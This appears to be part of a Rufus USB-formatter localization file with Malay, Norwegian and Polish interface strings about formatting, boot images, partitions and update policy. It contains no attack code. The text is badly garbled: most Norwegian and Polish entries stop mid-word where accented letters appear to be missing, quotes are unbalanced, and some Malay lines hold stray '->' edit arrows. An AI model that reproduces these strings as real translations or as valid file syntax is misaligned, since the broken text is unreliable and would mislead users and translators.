t MSG_081 "ISO tidak disokong" -> "Imej tidak disokong"
t MSG_082 "Imej ini sama ada tidak boleh boot, atau ia menggunakan kaedah boot atau mampatan yang tidak disokong oleh Rufus..."
t MSG_083 "Gantikan %s?"
t MSG_084 "Imej ISO ini menggunakan versi '%s' yang telah lapuk.\n"
"'%s' , ia akan digunakan secara automatik."
t MSG_085 "Muat turun %s"
t MSG_086 "Tiada imej yang dipilih"
t MSG_087 "Sila klik pada butang cakera untuk memilih imej yang boleh boot, "
t MSG_088 "Imej terlalu besar"
t MSG_089 "Imej ini terlalu besar untuk sasaran yang dipilih."
t MSG_090 "ISO tidak disokong"
t MSG_091 "Apabila menggunakan jenis sasaran UEFI , hanya imej boot jenis EFI sahaja disokong. "
t MSG_092 "Sistem fail tidak disokong"
t MSG_093 "PENTING: PERANTI INI MEMPUNYAI BEBERAPA PARTISYEN!!\n\n"
"Ini mungkin termasuk partisyen/jilid yang tidak disenaraikan atau tidak boleh dilihat dari Windows. "
t MSG_094 "Beberapa partisyen dikesan"
t MSG_095 "DD Imej"
t MSG_097 "'Windows To Go' hanya boleh digunakan jika sistem fail adalah NTFS."
t MSG_099 "Had sistem fail"
t MSG_100 "Imej ISO ini mengandungi fail yang lebih besar daripada 4GB "
t MSG_101 "Tiada sokongan WIM"
t MSG_102 "Platform anda tidak boleh mengekstrak fail daripada arkib WIM. Ini diperlukan "
"untuk mencipta cakera boot EFI Windows 7 dan Windows Vista. Anda boleh membaikinya dengan "
t MSG_103 "Muat turun %s?"
t MSG_104 "%s atau kemudian memerlukan fail '%s' di komputer anda.\n"
"Oleh sebab fail tersebut lebih besar daripada 100 KB dan sentiasa ada dalam imej %s, "
"'%s' ada di sana, ia akan digunakan semula secara automatik.\n"
t MSG_105 "Pembatalan boleh menyebabkan peranti ini TIDAK BOLEH DIGUNAKAN SEMULA.\n"
t MSG_106 "Sila pilih folder"
t MSG_107 "Semua fail"
t MSG_109 "0xX (Cakera %d)"
t MSG_110 "MS-DOS tidak boleh boot daripada cakera yang menggunakan saiz gugusan 64 kilobait.\n"
t MSG_111 "Saiz gugusan tidak sesuai"
t MSG_112 "Pemformatan jilid UDF yang besar mengambil masa yang amat lama. Pada kelajuan USB 2.0 anggaran masa pemformatan "
"adalah %d:d, di mana bar kemajuan akan kelihatan seperti ia tidak bergerak. Sila tunggu"
t MSG_113 "Jilid UDF besar"
t MSG_114 "Imej ini menggunakan Syslinux %s%s tetapi aplikasi ini hanya mempunyai fail pemasangan untuk"
"Syslinux %s%s.\n\nOleh kerana versi-versi baharu Syslinux tidak serasi dengan satu sama lain, maka tidak"
t MSG_115 "Muat turun diperlukan"
t MSG_150 "Biasanya pilihan ini paling selamat. Namun, jika anda ada komputer UEFI dan mahu "
t MSG_151 "Gunakan ini jika anda mahu memasang OS dalam mod EFI, tetapi perlukan akses kepada "
"kandungan USB daripada Windows XP"
t MSG_152 "Pilihan yang disyorkan untuk memasang OS dalam mod EFI dan apabila "
"akses USB tidak diperlukan unuk Windows XP "
t MSG_153 "Uji corak: 0xX"
t MSG_154 "Uji corak: 0xX, 0xX"
t MSG_155 "Uji corak: 0xX, 0xX, 0xX"
t MSG_156 "Uji corak: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Menetapkan sistem fail sasaran"
t MSG_158 "Saiz minima satu blok data akan gunakan dalam sistem fail"
t MSG_159 "Gunakan ini untuk tetapkan label cakera\nHuruf antarabangsa boleh digunakan"
t MSG_160 "Togel pilihan lanjutan"
t MSG_161 "Semak peranti untuk blok rosak menggunakan corak ujian"
t MSG_162 "Jangan tanda kotak ini untuk menggunakan kaedah pemformatan \"perlahan\""
t MSG_163 "Tanda kotak ini jika anda mahu membuat cakera USB boot"
t MSG_164 "Kaedah yang digunakan untuk membuat cakera boot"
t MSG_165 "Klik untuk memilih imej..."
t MSG_166 "Klik kotak ini untuk membenarkan paparan label antarabangsa "
"dan menetapkan ikon cakera (akan membuat fail autorun.inf)"
t MSG_167 "Memasang MBR yang membenarkan pilihan boot dan mampu menyamar ID BIOS USB"
t MSG_168 "Cuba menyamarkan cakera USB boot (biasanya 0x80) sebagai cakera lain.\n"
"Ini hanya diperlukan jika anda memasang Windows XP dan mempunyai lebih daripada satu cakera"
t MSG_169 "Ciptakan partisyen tambahan tersembunyi dan cuba melaraskan sempadan partisyen.\n"
t MSG_170 "Membolehkan penyenaraian pagaran cakera keras USB. GUNAKAN ATAS RISIKO SENDIRI!!!"
t MSG_171 "Mulakan operasi pemformatan.\nIni akan MEMADAMKAN semua data pada sasaran!"
t MSG_172 "Maklumat pelesenan dan penghargaan"
t MSG_174 "Rufus - Utiliti pemformatan USB yang dipercayai"
t MSG_176 "Terjemahan Bahasa Malaysia:\\line\n"
"Muhammad Aman <mailto:aman.tifli@gmail.com>\\line\n"
"VGPlayer <mailto:razman90a@yahoo.com.my>"
t MSG_177 "Laporkan masalah atau cadangan penambahbaikan di:"
t MSG_178 "Hak cipta tambahan:"
t MSG_179 "Polisi kemaskini:"
t MSG_180 "jika anda pilih untuk membenarkan aturcara ini menyemak untuk versi baru, "
t MSG_181 "Versi dan kerangka sistem operasi"
t MSG_182 "Versi aplikasi yang anda gunakan"
t MSG_183 "Alamat IP anda"
t MSG_184 "Untuk tujuan menjana statistik penggunaan peribadi , kami mungkin menyimpan maklumat yang dikumpulkan, "
t MSG_185 "Proses mengemas kini:"
t MSG_186 "Rufus tidak memasang atau menjalankan servis di latar belakang. Oleh itu, semakan kemas kini hanya dijalankan apabila aplikasi utama berjalan.\\line\n"
t MSG_187 "Imej tidak sah untuk pilihan boot yang dipilih"
t MSG_188 "Imej
t MSG_189 "Imej ISO ini tidak serasi dengan sistem fail yang dipilih"
t MSG_190 "Pemacu tidak serasi dikesan"
t MSG_191 "Melepasi tulisan"
t MSG_192 "Melepasi bacaan"
t MSG_193 "Muat turun %s"
t MSG_194 "Tidak boleh muat turun %s"
t MSG_195 "Menggunakan %s fail versi dibenam"
t MSG_197 "Saiz sektor bukan standard dikesan"
t MSG_200 "Pilih ini jika anda mahu untuk menjalankan Windows secara langsung dari peranti dipilih."
t MSG_201 "Sedang membatalkan - Sila tunggu..."
t MSG_202 "Mengimbas imej..."
t MSG_203 "Imbasan imej gagal"
t MSG_204 "%s lapuk dikesan"
t MSG_205 "Menggunakan ISO: %s" -> "Menggunakan imej: %s"
t MSG_206 "Tidak menjumpai fail %s"
t MSG_207 "Jilid baharu"
t MSG_208 "%d peranti dijumpai"
t MSG_209 "%d peranti dijumpai"
t MSG_210 "SELESAI" -> "SEDIA".
t MSG_211 "DIBATALKAN"
t MSG_212 "GAGAL"
t MSG_213 "Melancarkan aplikasi baru..."
t MSG_214 "Gagal untuk melancarkan aplikasi baru"
t MSG_215 "%s dibuka"
t MSG_216 "%s disimpan"
t MSG_217 "Pemformatan: %0.1f%% selesai"
t MSG_218 "Mencipta sistem fail: Tugas %d/%d selesai"
t MSG_219 "Pembaikian NTFS: %d%% selesai"
t MSG_220 "Pemformatan (%s) - Jangka masa anggaran %d:d..."
t MSG_221 "Menetapkan label (Ini mungkin mengambil sedikit masa)..."
t MSG_222 "Pemformatan (%s)..."
t MSG_223 "Pembaikian NTFS (Periksa cakera)..."
t MSG_224 "Memadam struktur MBR/PBR/GPT..."
t MSG_225 "Meminta akses cakera..."
t MSG_226 "Menganalisis rekod boot sedia ada..."
t MSG_227 "Menutup jilid sedia ada..."
t MSG_228 "Menulis \"Rekod master boot\"..."
t MSG_229 "Menulis rekod boot partisyen..."
t MSG_230 "Menyalin fail DOS..."
t MSG_231 "Menyalin fail ISO..."
t MSG_232 "Persediaan boot EFI Win7 (ini mungkin mengambil sedikit masa)..."
t MSG_233 "Menyiapkan, sila tunggu..."
t MSG_234 "Memasang Syslinux %s..."
t MSG_235 "Blok rosak: MELEPASI %d/%d - %0.2f%% (%d/%d/%d kesilapan)" -> "Blok rosak: %s %d/%d - %0.2f%% (%d/%d/%d kesilapan)"
t MSG_236 "Blok rosak: menguji dengan corak rawak"
t MSG_237 "Blok rosak: Menguji dengan corak 0xX"
t MSG_238 "Mempartisyenkan (%s)..."
t MSG_239 "Memadam partisyen..."
t MSG_240 "Memuat turun %s: menyambung ke internet..."
t MSG_241 "memuat turun: %0.1f%%"
t MSG_242 "Gagal memuat turun fail."
t MSG_243 "Memeriksa untuk kemas kini Rufus..."
t MSG_244 "Kemas kini: Tidak dapat menyambung ke internet"
t MSG_245 "Kemsa kini: Tidak dapat mengakses data versi"
t MSG_246 "Versi baru Rufus boleh didapati!"
t MSG_247 "Tiada versi baru Rufus didapati"
t MSG_248 "Kekunci daftar aplikasi berjaya dipadam"
t MSG_249 "Gagal memadam kekunci daftar aplikasi"
t MSG_250 "%s dibolehkan"
t MSG_251 "%s tidak dibolehkan"
t MSG_252 "Menyemak saiz"
t MSG_253 "Pengesanan cakera tetap" -> "Pengesanan cakera keras"
t MSG_254 "Memaksa pemformatan FAT32 besar"
t MSG_255 "NoDriveTypeAutorun akan dipadam apabila keluar"
t MSG_256 "Pengesanan cakera palsu"
t MSG_257 "Sokongan Joliet"
t MSG_258 "Sokongan Rock Ridge"
t MSG_259 "Paksa kemas kini"
t MSG_260 "Mampatan NTFS"
t MSG_261 "Menulis imej: %0.1f%% selesai"
t MSG_262 "Sokongan ISO"
t MSG_263 "Guna saiz seunit yang BETUL"
t MSG_264 "Memadam direktori '%s'"
t MSG_265 "Pengesanan cakera VMWare"
t MSG_266 "Mod dwi UEFI/BIOS"
t MSG_267 "Menggunakan imej Windows: %0.1f%% selesai"
t MSG_268 "Menggunakan imej Windows..."
t MSG_269 "Mengekalkan cap masa"
t MSG_270 "Nyahpijat USB"
t MSG_271 "Mengira semak tambah imej: %0.1f%% selesai"
t MSG_272 "Mengira semak tambah MD5, SHA1 dan SHA256 imej dipilih"
t MSG_273 "Menukar bahasa aplikasi"
t MSG_274 "Imej ISOHybrid dikesan"
t MSG_275 "Imej yang anda telah pilih adalah imej 'ISOHybrid'. Ini bermaksud ia boleh ditulis sama ada dalam "
"%s mod (salinan fail) atau %s mod (imej cakera).\n"
"Rufus galakkan menggunakan mod %s, jadi anda selalu mempunyai akses penuh ke pemacu selepas menulisnya.\n"
"Bagaimanapun, jika anda menghadapi isu-isu semasa boot, anda boleh cuba menulis imej ini lagi dalam mod %s.\n\n"
t MSG_276 "Menulis dalam mod %s (Digalakkan)"
t MSG_277 "Menulis dalam mod %s"
t MSG_278 "Jenis boot"
t MSG_279 "Tidak boleh boot"
t MSG_280 "Pilihan imej"
t MSG_281 "(Sila pilih satu imej)"
t MSG_282 "Penguncian pemacu USB eksklusif"
t MSG_283 "tandatangan tidak sah"
t MSG_284 "'Executable' yang dimuat turun kehilangan tandatangan digital."
t MSG_285 "'Executable' yang dimuat turun ditandatangani oleh '%s'.\nIni bukannya tandatangan yang kami kenal dan boleh "
t MSG_286 "Mensifarkan pemacu: %0.1f%% selesai"
t IDC_WINDOWS_INSTALL "Standard Windows installasjon"
m IDC_NBPASSES 10,0
t IDC_WEBSITE "Klikk her for
t MSG_001 "Annen forekomst oppdaget"
t MSG_002 "Annen Rufus utgave kj
t MSG_003 "ADVARSEL: ALLE DATA P
STASJON '%s' VIL BLI
fortsette denne operasjonen, klikk OK. For
t MSG_004 "Rufus oppdaterings politikk"
t MSG_005 "Vil du tillate at Rufus sjekker oppdateringen online?"
t MSG_006 "Lukk"
t MSG_007 "Avbryt"
t MSG_009 "Nei"
t MSG_010 "D
t MSG_011 "Sjekk fullf
rt: %d d
" %d Lese feil\n %d Skrive feil\n %d Korrupte feil\n"
t MSG_012 "%s\nA Mer detaljert rapport kan bli funnet her:\n%s"
t MSG_013 "Deaktivert"
t MSG_014 "Daglig"
t MSG_015 "Ukentlig"
t MSG_017 "Bruker"
t MSG_018 "Din versjon: %d.%d (Utgave %d)"
t MSG_019 "Siste versjon: %d.%d (Utgave %d)"
t MSG_031 "%s partisjon skjema for BIOS eller %s"
t MSG_032 "%s partisjon skjema for BIOS"
t MSG_033 "%s partisjon skjema for UEFI"
t MSG_034 "%d Passering"
t MSG_035 "%d Passeringer"
t MSG_036 "ISO Bilde"
t MSG_037 "Applikasjon"
t MSG_038 "Avbryt"
t MSG_039 "Kj
t MSG_040 "Last ned"
t MSG_041 "Operasjon avbrutt av bruker"
t MSG_042 "Feil"
t MSG_043 "Feil: %s"
t MSG_044 "Fil ned lasting"
t MSG_045 "USB Lagrings enhet (Generisk)"
t MSG_047 "Flere partisjoner"
t MSG_048 "Rufus - T
t MSG_049 "Rufus - Avbryter"
t MSG_050 "Suksess."
t MSG_051 "Ubestemmelig feil under formateringen."
t MSG_052 "Kan ikke bruke det valgte filsystem for dette mediet."
t MSG_053 "Ikke tilgang til denne enheten."
t MSG_054 "Mediet er skrive beskyttet."
t MSG_055 "Enheten brukes av en annen prosess. "
t MSG_056 "Hurtigformatering er ikke tilgjengelig for denne enheten."
t MSG_057 "Volum navnet er ugyldig."
t MSG_058 "Enhets h
t MSG_059 "Den valgte cluster st
t MSG_060 "Volumst
t MSG_061 "Vennligst sett inn et media i stasjonen."
t MSG_062 "Ust
t MSG_063 "Minne tildelingsfeil."
t MSG_064 "Lesefeil."
t MSG_065 "Skrivefeil."
t MSG_066 "Installasjonsfeil"
t MSG_067 "Kunne ikke
t MSG_068 "Feil under stasjons partisjonering."
t MSG_069 "Kunne ikke kopiere filer til m
t MSG_070 "Brukeravbrutt."
t MSG_071 "Ikke mulig
t MSG_072 "D
t MSG_073 "ISO bilde skannings feil."
t MSG_074 "ISO bilde utpakkings feil."
t MSG_075 "Ikke mulig
t MSG_076 "Ute av stand til
t MSG_077 "Ikke mulig
t MSG_078 "Kan ikke montere GUID stasjon."
t MSG_079 "Denne enheten er ikke klar."
t MSG_080 "Rufus oppdaget at Windows fortsatt skriver til denne USB enhetens interne buffer.\n\n"
din USB enhet, vil muligens denne operasjonen ta lang til
"spesielt for store filer.\n\nVi anbefaler at du lar Windows fullf
t MSG_081 "Ikke st
t MSG_082 "Dette ISO-bildet er enten ikke oppstartbar, eller s
t MSG_083 "Bytte ut %s?"
t MSG_084 "Dette ISO bildet ser ut til
inneholde en foreldet versjon av '%s'.\n"
"'%s' er der, vil den bli brukt automatisk."
t MSG_085 "Laster ned %s"
t MSG_086 "Intet bilde valgt"
t MSG_087 "Vennligst klikk p
t MSG_088 "Bildet er for stort"
t MSG_089 "Bildet er for stort for det valgte m
t MSG_090 "Ikke st
t MSG_092 "Ikke st
t MSG_093 "VIKTIGT: DENNE STASJONEN INNEHOLDER FLERE PARTISJONER!!\n\n"
"Denne inneholder kanskje partisjoner/volumer som ikke er listet og muligens ikke synlig i Windows. "
t MSG_094 "Flere partisjoner oppdaget"
t MSG_095 "DD Bilde"
t MSG_096 "Filsystemet som er valgt kan ikke brukes med denne type ISO"
t MSG_097 "'%s' kan kun brukes hvis filsystemet er NTFS."
t MSG_098 "VIKTIGT: Du pr
installere 'Windows To Go', med m
"den rette beskrivelsen. P.g.a dette vil Windows sannsynligvis stoppe opp under oppstarten, "
t MSG_099 "Fil system begrensning"
t MSG_100 "Dette ISO bildet inneholder filer st
t MSG_101 "Mangler WIM st
t MSG_102 "Din plattform kan ikke pakke ut filer fra WIM arkiver. WIM utpakking "
lage EFI oppstartbar Windows 7 og Windows Vista USB stasjoner. Du kan fikse det "
t MSG_103 "Lastet ned %s?"
t MSG_104 "%s eller senere er p
krevd for at '%s' filen kan bli innstallert.\n"
rrelse, og er alltid tilstede i %s ISO bilder, "
"'%s' er der, vil den bli brukt automatisk.\n"
t MSG_106 "Vennligst velg en mappe"
t MSG_108 "Rufus logg"
t MSG_110 "MS-DOS kan ikke boote fra en stasjon som brukeren 64 kilobytes Cluster st
t MSG_111 "Inkompatibelt Cluster st
t MSG_112 "Formatere en stor UDF volum kan ta mye tid. Ved
"tiden er %d:d, under denne tiden vil framgangslinjen virke frossen. Vennligst v
t MSG_113 "Stort UDF volum"
t MSG_114 "Dette bildet bruker Syslinux %s%s men dette programmet inkluderer kun installsjons filer for "
"Syslinux %s%s.\n\nNye versjoner av Syslinux er ikke kompatible med hverandre, og dermed "
"Internett ('ldlinux.sys' og 'ldlinux.bss'):\n"t MSG_115 "Nedlasting p
t MSG_116 "Dette bildet bruker Grub %s, men programmet inkluderer kun installasjonsfiler for"
"Grub %s.\n\nForskjellige versjoner av Grub er muligens ikke kompatible med hverandre, og er ikke "
"installasjon filen ('core.img') som passer til ditt bilde:\n"t MSG_150 "Som oftest det tryggeste valget. Hvis du har en UEFI datamaskin og
"et operativsystem i EFI mode uansett, skal du velge en av de andre valgene"
t MSG_151 "Bruk dette hvis du vil installere et operativsystem i EFI mode, men trenger
"til USB innholdet fra Windows XP"
t MSG_152 "Det foretrukne valget for
installere operativsystemet i EFI mode og n
krevd av Windows XP"
t MSG_157 "Setter m
t MSG_158 "Minimum st
t MSG_159 "Bruk dette feltet for
t MSG_160 "Avanserte valg"
t MSG_161 "Velg antall passeringer for
t MSG_162 "Bruk \"langsom\" formaterings metode ved
t MSG_163 "Merk denne boksen for
t MSG_164 "Metoden som vil bli brukt for
t MSG_165 "Klikk for
t MSG_166 "Merk denne boksen for
"og lage et stasjons ikon (lager en autorun.inf)"
t MSG_167 "Installerer en MBR som tillater oppstarts valg og kan maskere BIOS USB stasjons ID"
dvendig hvis du installerer Windows XP og har mer enn en stasjon"
t MSG_169 "Lager en ekstra skjult partisjon og fors
t MSG_170 "Aktivere listen av USB Hard Disk kabinetter. BRUKES P
t MSG_171 "Starter formaterings operasjonen.\nDette vil SLETTE data p
t MSG_172 "Lisens in formasjon og krediteringer"
t MSG_173 "Klikk for
t MSG_175 "Versjon %d.%d (Utgave %d)"
t MSG_176 "Norsk oversettelse: JED <mailto:translator744@outlook.com >"
t MSG_177 "Rapporter feil, og foresp
t MSG_178 "Tilleggs Copyright:"
t MSG_179 "Oppdaterings politikk:"
t MSG_180 "Hvis du
t MSG_181 "Ditt operativsystems arkitektur og versjon"
t MSG_182 "Versjon programmet du bruker"
t MSG_183 "Din IP adresse"
t MSG_184 "For muligheten
t MSG_185 "Oppdaterings prosess:"
t MSG_186 "Rufus vil ikke installere eller kj
t MSG_187 "Ugyldig bilde for valgt oppstart l
t MSG_188 "Det n
rende bilde passer ikke den valgte oppstarts valget. Vennligst velg ett annet bilde, eller velg et annet oppstarts valg."
t MSG_189 "Dette ISO bildet er ikke kompatibelt med det valgte filsystemet"
t MSG_190 "Ikke kompatibel stasjon oppdaget"
t MSG_191 "Skriving"
t MSG_192 "Lesing"
t MSG_193 "Lastet ned %s"
t MSG_194 "Kunne ikke laste ned %s"
t MSG_195 "Bruker innebygget versjon av %s fil(er)"
t MSG_196 "VIKTIGT: DENNE STASJONEN BRUKER IKKE STANDARD SEKTOR ST
rrelse, mens denne stasjonen bruker en %d-byte. "
t MSG_197 "Ikke standard sektor st
t MSG_199 "Velg dette hvis du planlegger
installere Windows, til en annen stasjon, "
t MSG_200 "Velg dette hvis du vil kj
re Windows direkte fra valgte stasjon."
t MSG_201 "Avbryter - Vennligst vent..."
t MSG_202 "Skanner bilde..."
t MSG_203 "Feilet i bilde s
t MSG_204 "Foreldet %s oppdaget"
t MSG_205 "Bruker bilde: %s"
t MSG_206 "Mangler %s fil"
t MSG_207 "Nytt Volum"
t MSG_208 "%d enhet funnet"
t MSG_209 "%d enhet funnet"
t MSG_210 "KLAR"
t MSG_211 "Avbrutt"
t MSG_212 "Feilet"
t MSG_213 "Starter ett nytt program..."
t MSG_214 "Oppstart feilet"
pnet %s"
t MSG_216 "Lagret %s"
t MSG_217 "Formatert: %0.1f%% fullf
t MSG_218 "Lager filsystem: Oppgave %d/%d fullf
t MSG_219 "NTFS opprettet: %d%% fullf
t MSG_220 "Formaterer (%s) - estimeret varighet %d:d..."
t MSG_221 "Lager merkelapp (Dette kan ta en stund)..."
t MSG_223 "NTFS retting (Checkdisk)..."
t MSG_224 "Fjerner MBR/PBR/GPT strukturer..."
t MSG_225 "Ber om stasjons tilgang..."
t MSG_226 "Analyserer oppstarts arkiver..."
t MSG_227 "Lukker eksisterende volum..."
t MSG_228 "Skriver hoved oppstarts arkiv..."
t MSG_229 "Skriver partisjon oppstarts arkiv..."
t MSG_230 "Kopierer DOS filer..."
t MSG_231 "Kopierer ISO filer..."
t MSG_232 "Win7 EFI oppstarts oppsett (Dette kan ta litt tid)..."
t MSG_233 "Ferdiggj
t MSG_235 "D
rlige blokker: %s %d/%d - %0.2f%% (%d/%d/%d feil)"
t MSG_236 "D
t MSG_237 "D
nster 0xX"
t MSG_238 "Partisjonerer (%s)..."
t MSG_239 "Sletter partisjoner..."
t MSG_240 "Laster ned %s: Kobler til..."
t MSG_241 "Laster ned: %0.1f%%"
t MSG_242 "Nedlasting av fil feilet."
t MSG_243 "Sjekker for Rufus oppdateringer..."
t MSG_244 "Oppdateringer: Ikke mulig
t MSG_245 "Oppdateringer: Ikke mulig
t MSG_246 "En ny versjon av Rufus er tilgjengelig!"
t MSG_247 "Ingen ny versjon av Rufus er funnet"
t MSG_248 "Programmets register n
t MSG_249 "Sletting av register n
t MSG_250 "%s aktivert"
t MSG_251 "%s deaktivert"
t MSG_252 "St
t MSG_253 "Harddisk oppdagelse"
t MSG_254 "Tvinger stor FAT32 formatering"
t MSG_255 "NoDriveTypeAutorun vil bli oppdaget ved avsluttning"
t MSG_256 "Falsk stasjon oppdaget"
t MSG_257 "Joliet st
t MSG_258 "Rock Ridge st
t MSG_259 "Tvungen oppdatering"
t MSG_260 "NTFS pakking"
t MSG_261 "Skriver bilde: %0.1f%% ferdig"
t MSG_262 "ISO St
t MSG_263 "Bruk SKIKKELIG st
t MSG_264 "Sletter mappe '%s'"
t MSG_265 "VMWare disk oppdagelse"
t MSG_266 "Dobbel UEFI/BIOS instilling"
t MSG_267 "Legger til Windows bilde: %0.1f%% ferdig"
t MSG_268 "Legger til Windows bilde..."
t MSG_269 "Bevarer tidskode"
t MSG_270 "USB avkoding"
t MSG_271 "Regner ut bilde sjekksummer: %0.1f%% fullf
t MSG_272 "Regner ut MD5, SHA1 og SHA256 sjekksummer for det valgte bilde"
t MSG_273 "Bytt program spr
t MSG_274 "ISOHybrid bilde oppdaget"
t MSG_275 "Bildet du har valgt er en 'ISOHybrid' bilde. Dette betyr det enten kan bli skrevet i "
"%s (fil kopi) modus eller %s (bildefil) modus.\n"
bruke %s modus, slik at du har full tilgang til stasjonen etter at du har skrevet til den.\n"
skrive bildet igjen i %s modus.\n\n"
t MSG_276 "Skriv i %s modus (Anbefalt)"
t MSG_277 "Skriv i %s modus"
t MSG_278 "Oppstart type"
t MSG_279 "Ikke oppstartbar"
t MSG_280 "Bilde valg"
t MSG_281 "(Vennligst velg et bilde)"
t MSG_282 "Utelat USB stasjonsl
t MSG_284 "Den nedlastede programfil mangler en digital signatur."
t MSG_285 "Den nedlastede programfil er signert av '%s'.\nDette er en signatur vi ikke gjenkjenner, og kan "
s IDC_NBPASSES -15,0
m IDC_NBPASSES 55,0
t IDC_WINDOWS_TO_GO "
autorun.inf"
: %d\n
t MSG_012 "%s\n
.\n%s"
%d.%d (Build %d)
Syslinux %s%s
ldlinux.bss
Grub %s
mailto:s.zia.azimi@gmail.com
t MSG_193 "%s
: %d/%d
: %d%%
: %d:d
(%s)...
Syslinux %s...
0xX
s IDC_NBPASSES -60,0
m IDC_NBPASSES 100,0
t IDC_WINDOWS_INSTALL "Standardowa instalacja Windowsa"
t IDC_WEBSITE "Kliknij tutaj aby przej
t MSG_001 "Wykryto inn
t MSG_002 "Inna aplikacja Rufus jest uruchomiona.\n"
t MSG_003 "UWAGA: WSZYSTKIE DANE NA URZ
DZENIU '%s' ZOSTAN
operacj
t MSG_004 "Polityka aktualizacji Rufusa"
t MSG_005 "Czy chcesz zezwoli
t MSG_006 "Zamknij"
t MSG_007 "Anuluj"
t MSG_008 "Tak"
t MSG_009 "Nie"
t MSG_010 "Znaleziono uskodzone sektory"
t MSG_011 "Sprawdzanie zako
czone: znaleziono %d uskodzone sektory(
" %d b
w odczytu\n %d b
w zapisu\n %d b
t MSG_012 "%s\nRaport szczeg
pny w:\n%s"
t MSG_013 "Wy
t MSG_014 "Dziennie"
t MSG_015 "Tygodniowo"
t MSG_016 "Miesi
t MSG_017 "W
t MSG_018 "Twoja wersja: %d.%d (Build %d)"
t MSG_019 "Najnowsza wersja: %d.%d (Build %d)"
t MSG_020 "bajt
t MSG_029 "Domy
t MSG_030 "%s (Domy
t MSG_031 "Schemat partycjonowania %s dla BIOS lub %s"
t MSG_032 "Schemat partycjonowania %s dla BIOS"
t MSG_033 "Schemat partycjonowania %s dla UEFI"
t MSG_034 "%d Przebieg"
t MSG_035 "%d Przebiegi"
t MSG_037 "Aplikacja"
t MSG_038 "Przerwij"
t MSG_039 "Uruchom"
t MSG_040 "Pobierz"
t MSG_041 "Operacja anulowana przez u
t MSG_042 "B
t MSG_043 "B
d: %s"
t MSG_044 "Pobieranie pliku"
t MSG_045 "Urz
t MSG_046 "%s (Dysk %d) [%s]"
t MSG_047 "Wiele Partycji"
t MSG_048 "Rufus - Czyszczenie bufor
t MSG_049 "Rufus - Anulowanie"
t MSG_050 "Sukces."
t MSG_051 "Niezidentyfikowany bl
t MSG_052 "Nie mo
t MSG_053 "Dost
t MSG_054 "Zapis no
t MSG_055 "Urz
t MSG_056 "Szybkie formatowanie jest niedost
t MSG_057 "Nazwa woluminu jest nieprawid
t MSG_059 "Wybrany rozmiar jednostki alokacji jest nieprawidowy dla tego urz
t MSG_060 "Rozmiar woluminu jest nieprawid
t MSG_061 "Prosz
t MSG_062 "Otrzymano niewspieran
t MSG_063 "B
t MSG_064 "B
t MSG_065 "B
t MSG_066 "Niepowodzenie instalacji"
t MSG_067 "Nie mo
t MSG_068 "B
t MSG_069 "Nie mo
t MSG_070 "Anulowane przez u
t MSG_071 "Nie mo
t MSG_072 "Nie uko
t MSG_073 "Niepowodzenie skanowania pliku ISO."
t MSG_074 "Niepowodzenie wypakowywania pliku ISO."
t MSG_075 ""Nie mo
t MSG_076 ""Nie mo
t MSG_077 "Nie mo
t MSG_078 "Nie mo
t MSG_079 "Urz
t MSG_080 "Rufus wykry
e Windows ci
dzenia USB, ta operacja mo
Windowsowui sko
t MSG_081 "Niewspierany obraz"
t MSG_082 "Ten obraz nie jest bootowalny lub u
t MSG_083 "Zast
t MSG_084 "Ten plik ISO wydaje si
d:\n"
"'%s' jest tutaj, zostanie u
t MSG_085 "Pobieranie %s"
t MSG_086 "Nie wybrano obrazu"
t MSG_087 "Prosz
t MSG_088 "Obraz jest zbyt du
t MSG_089 "Ten obraz jest zbyt du
t MSG_090 "Niewspierane ISO"
t MSG_091 "Podczas u
t MSG_092 "Niewspierany system plik
t MSG_093 "WA
wymienione lub nawet widoczne z poziomu Windows. "
t MSG_094 "Wykryto wiele partycji"
t MSG_096 "Aktualnie zaznaczony system plik
t MSG_097 "'%s' mo
t MSG_098 "WA
'Windows To Go', lecz dysk docelowy nie ma "
"atrybytu 'LOKALNY'. Z tego powodu Windows prawdopodobnie zawiesi si
t MSG_099 "Ograniczenia systemu plik
t MSG_100 "Ten obraz ISO zawiera plik wi
t MSG_101 "Brakuj
t MSG_102 "Twoja platforma nie mo
bootowalny dysk USB EFI z Windows 7 i Windows Vista. Mo
t MSG_103 "Pobra
t MSG_104 "%s lub p
niejszy wymaga zainstalowania pliku '%s' .\n"
100 KB i zawsze jest obecny na obrazach ISO %s, "
"'%s' istnieje tutaj, zostanie ponownie u
t MSG_105 "Anulowanie mo
t MSG_106 "Prosz
t MSG_107 "Wszystkie pliki"
t MSG_109 "0xX (Dysk %d)"
t MSG_110 "MS-DOS nie mo
t MSG_111 "Niekompatybilny Rozmiar jednostki alokacji"
t MSG_112 "Formatowanie du
"formatowania wynosi %d:d, podczas kt
t MSG_113 "Du
t MSG_114 "Ten obraz u
ywa Syslinux %s%s, lecz ta aplikacja do
"Syslinux %s%s.\n\nPoniewa
"z Internetu ('ldlinux.sys' oraz 'ldlinux.bss'):\n"t MSG_115 "Wymagane pobieranie"
t MSG_116 "Ten obraz u
ywa Grub %s, lecz ta aplikacja do
"Grub %s.\n\nPoniewa
"('core.img') ktt MSG_150 "Zazwyczaj najbezpieczniejszy wyb
t MSG_151 "U
ci USB z Windows XP"
t MSG_152 "Preferowana opcja aby zainstalowa
p do USB nie jest wymagany dla Windows XP"
t MSG_153 "Wzorzec testowy: 0xX"
t MSG_154 "Wzorzec testowy: 0xX, 0xX"
t MSG_155 "Wzorzec testowy: 0xX, 0xX, 0xX"
t MSG_156 "Wzorzec testowy: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Ustawia docelowy system plik
t MSG_158 "Minimalny rozmiar jaki blok b
t MSG_159 "U
t MSG_160 "Prze
t MSG_161 "Sprawd
t MSG_162 "Odznacz to pole aby u
t MSG_163 "Zaznacz to pole aby stworzy
t MSG_164 "Metoda kt
t MSG_165 "Kliknij aby wybra
t MSG_166 "Zaznacz to pole aby zezwoli
dzenia (tworzy plik autorun.inf)"
t MSG_167 "Instaluje MBR, kt
dzie to konieczne tylko przy instalowaniu Windowsa XP i posiadaniu wi
t MSG_169 "Tworzy dodatkow
t MSG_170 "W
t MSG_171 "Uruchamia operacj
t MSG_172 "Informacje o licencji i creditsy"
t MSG_173 "Kliknij aby wybra
t MSG_175 "Wersja %d.%d (Build %d)"
t MSG_176 "Polskie t
umaczenie: Piotr Halama <hXXp://halamix2.pl> \\line "
"Poprawki: Krzysztof J. Szklarski <hXXp://VVV.napisy.info>"
t MSG_177 "Zg
t MSG_178 "Dodatkowe prawa autorskie:"
t MSG_179 "Polityka aktualizacji:"
t MSG_180 "Je
